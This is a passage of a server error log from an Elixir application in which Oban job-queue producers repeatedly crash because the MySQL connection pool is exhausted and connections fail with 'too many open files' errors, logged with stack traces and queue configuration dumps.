dispatch_timer: #Reference<0.2525715032.1068236804.244037>, refresh_timer: #Reference<0.2525715032.1121189889.100465>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:03.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:55:51.255033Z], limit: 5, uuid: "b4ffc135-8038-4baf-b910-3f4616e57881", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:51.255038Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.244041>, refresh_timer: #Reference<0.2525715032.1099169794.251393>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:03.617000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:05.962000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:07.514000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:10.126000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:12.245000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:14.200000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:14.272000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:15.134000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:56:03.244847Z], limit: 3, uuid: "36f3c6a2-d73f-4f44-8f82-b345af378742", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:03.244855Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.244359>, refresh_timer: #Reference<0.2525715032.1077411843.225918>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1060ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:56:03.245425Z], limit: 50, uuid: "99ecc3fa-362f-4b2e-9187-bee745cbe118", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:03.245434Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.244356>, refresh_timer: #Reference<0.2525715032.1068236804.244355>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:56:03.247948Z], limit: 20, uuid: "a75f2f73-f6bd-4dd1-9f6d-c4bdaf81c6e7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:03.247954Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.244394>, refresh_timer: #Reference<0.2525715032.1068236804.244368>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:56:03.241776Z], limit: 5, uuid: "ff3f8ce9-a020-4547-852f-27aa9ab73d28", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:03.241785Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.244358>, refresh_timer: #Reference<0.2525715032.1077411843.225896>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:15.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:56:03.250688Z], limit: 5, uuid: "4f6d86fc-f1cf-4791-a66d-e4dd9b53059b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:03.250697Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.100578>, refresh_timer: #Reference<0.2525715032.1121189889.100562>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1076ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:56:03.245162Z], limit: 10, uuid: "17ced631-5110-4d7d-a4ff-9d55359da8c2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:03.245170Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.244357>, refresh_timer: #Reference<0.2525715032.1077411843.225928>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:16.373000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:20.647000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:21.288000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:23.248000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1789.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 22:56:25.880000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:26.160000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:27.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:56:15.241492Z], limit: 20, uuid: "4db26a5b-3ddb-428f-bd9d-88c11e71a401", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:15.241498Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.251872>, refresh_timer: #Reference<0.2525715032.1099169794.251855>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1040ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
